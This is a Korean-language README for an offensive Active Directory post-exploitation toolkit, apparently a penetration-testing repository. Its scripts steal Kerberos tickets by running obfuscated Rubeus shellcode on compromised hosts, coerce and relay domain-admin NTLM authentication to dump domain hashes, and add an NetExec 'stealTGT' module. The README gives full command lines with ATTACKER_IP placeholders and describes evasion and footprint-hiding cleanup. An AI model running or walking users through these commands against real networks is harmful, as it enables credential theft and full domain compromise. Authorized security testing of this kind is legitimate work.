Active Directory 사후 침투 및 릴레이 자동화 유틸리티

이 저장소는 Active Directory 환경 내에서 보안 평가 및 침투 테스트를 위해 설계된 Python 오케스트레이터 스크립트 모음입니다. 이 도구는 손상된 워크스테이션 또는 서버에서 이미 로컬 관리자 접근 권한이 확보된 사후 침투 시나리오에 특화되어 있으며, 목표는 광범위한 Active Directory 도메인으로의 측면 이동 또는 권한 상승을 수행하는 것입니다.

NetExec, Impacket, Donut, BloodyAD와 같은 일반적인 보안 유틸리티를 포함한 워크플로를 자동화함으로써, 이 스크립트들은 복잡한 다단계 프로세스를 반복 가능한 단일 명령어 작업으로 간소화합니다.

사전 요구 사항

스크립트는 다음 도구가 호스트 시스템에 설치되어 있고 시스템의 PATH에서 사용 가능해야 합니다:

• Python 3.x
• NetExec (nxc)
• Impacket (impacket-ntlmrelayx, impacket-secretsdump, impacket-ticketConverter)
• Donut (셸코드 생성기)
• Myph (바이너리 컴파일러/난독화 도구)
• BloodyAD (Active Directory 관리 도구)
• 표준 Linux 유틸리티: awk, base64

선택적 Python 종속성

향상된 콘솔 출력 형식을 위해 다음 패키지를 설치하세요:

pip install colorama rich

구성 요소 개요

1. TGT 추출 오케스트레이터 (harpyTGT.py)

이 스크립트는 로그인된 Windows 세션에서 Kerberos 티켓 부여 티켓(TGT)을 추출하고 Linux 호환 ccache 형식으로 변환하는 프로세스를 자동화합니다.

• 시나리오: 로컬 관리자 접근 권한이 확보되면, 이 도구를 통해 해당 호스트에서 활성화된 도메인 사용자의 Kerberos 티켓을 수집하여 일반 텍스트 비밀번호 없이 측면 이동이 가능합니다.
• 메커니즘: Donut을 통해 Rubeus.exe 셸코드 페이로드를 생성하고, Myph로 난독화를 적용한 후, 예약된 작업(schtask_as) 또는 mmcexec을 사용하여 결과 바이너리를 대상 호스트에서 실행합니다.

표준 실행 (대상 사용자에게 관리 권한이 있는 경우):

./harpyTGT.py -t <TARGET_IP> -u <LOCAL_ADMIN_USER> -p <LOCAL_ADMIN_PASS> -U <TARGET_USER> -r </path/to/Rubeus.exe>

대체 실행 (대상 사용자에게 관리 권한이 없는 경우):

./harpyTGT.py -t <TARGET_IP> -u <LOCAL_ADMIN_USER> -p <LOCAL_ADMIN_PASS> -U <TARGET_USER> -r </path/to/Rubeus.exe> --no-target-admin --attacker-ip <ATTACKER_IP>

2. NTLM 릴레이 자동화 (harpyRelay.py)

이 스크립트는 도메인 컨트롤러에서 잘못 구성된 SMB 또는 LDAP 서명 정책을 대상으로 NTLM 릴레이 공격을 조율하여 도메인 전체 권한 상승 또는 NTDS 데이터베이스 덤프(DCSync)를 달성합니다.

• 시나리오: 손상된 호스트의 기존 로컬 관리자 권한을 활용하여, 고권한 프로세스(예: 도메인 관리자 세션)가 공격자에게 재인증하도록 강제하고, 해당 자격 증명을 도메인 컨트롤러로 릴레이하여 LDAP/LDAPS를 통해 전체 도메인을 손상시킵니다.
• 메커니즘: ntlmrelayx 리스너를 실행하고, NetExec를 통해 손상된 클라이언트에서 인증 요청을 트리거하며, 성공적인 익스플로잇을 위해 출력을 모니터링하고 도메인 해시를 덤프합니다. 이 도구에는 대상 도메인에 대한 발자국을 최소화하기 위한 자동 정리 루틴이 포함되어 있습니다.

LDAPS 흐름 (표준):

./harpyRelay.py--target-host <CLIENT_IP> --local-user <LOCAL_ADMIN> --local-pass <LOCAL_PASS> --domain-admin-user <DOMAIN_ADMIN> --attacker-ip <ATTACKER_IP> --dc-ip <DC_IP> --domain <DOMAIN.LOCAL>

LDAP 흐름 (LDAPS를 사용할 수 없는 경우의 대체 흐름):

./harpyRelay.py --target-host <CLIENT_IP> --local-user <LOCAL_ADMIN> --local-pass <LOCAL_PASS> --domain-admin-user <DOMAIN_ADMIN> --attacker-ip <ATTACKER_IP> --dc-ip <DC_IP> --domain <DOMAIN.LOCAL> --no-ldaps

3. NetExec 모듈: stealTGT

NetExec (nxc) 를 위한 사용자 정의 모듈로, 대상 머신에서 특정 로그온 사용자의 Kerberos 티켓 부여 티켓(TGT)을 추출하도록 설계되었습니다.

이 모듈은 mmcexec를 통해 SYSTEM 권한으로 상호작용하며, 회피형 페이로드(Rubeus를 Donut 및 Myph로 캡슐화) 생성, 메모리 내 실행, Base64 티켓 출력 캡처 및 Linux에서 사용 가능한 .ccache 파일로의 투명한 변환을 자동화합니다.

공격자 호스트(Kali Linux)의 사전 요구 사항

모듈은 자동으로 다음 유틸리티가 설치되어 있고 $PATH에서 사용 가능한지 확인합니다:

• donut
• myph
• impacket-ticketConverter

모듈 설치

외부 모듈을 NetExec에 로드하려면 stealTGT.py 스크립트를 로컬 NetExec 모듈 디렉토리에 복사하세요:

cp stealTGT.py ~/.nxc/modules/

사용법 및 구문

netexec smb <TARGET_IP> -u <ADMIN_USER> -p <ADMIN_PASS> --local-auth -M stealTGT -o USER=<TARGET_USER> RUBEUS=/path/to/Rubeus.exe

모듈 옵션 (-o):

• USER: TGT를 추출하려는 현재 로그온 세션의 사용자 이름 (예: jdoe).
• RUBEUS: 공격자 머신에서 정식 Rubeus.exe 바이너리가 위치한 로컬 경로.

운영 기능

• 자동 환경 정리: 릴레이 유틸리티는 실행 중 생성된 임시 계정을 추적하고, 작업 종료 시 bloodyad 또는 netexec를 통해 자동으로 제거를 시도합니다.
• 비-TLS 환경 처리: 도메인 컨트롤러가 LDAP over TLS(LDAPS)를 지원하지 않는 환경을 위한 명시적인 대체 방안을 포함합니다.

면책 조항

중요 알림: 이 저장소는 승인된 보안 감사, 취약점 연구 및 교육 목적으로만 사용됩니다. 사전에 명시적인 서면 승인 없이 프로덕션 인프라에서 이러한 도구를 실행하는 것은 엄격히 금지됩니다. 저자는 이 소프트웨어 배포로 인한 오용, 부수적 피해 또는 법적 결과에 대해 어떠한 책임도 지지 않습니다.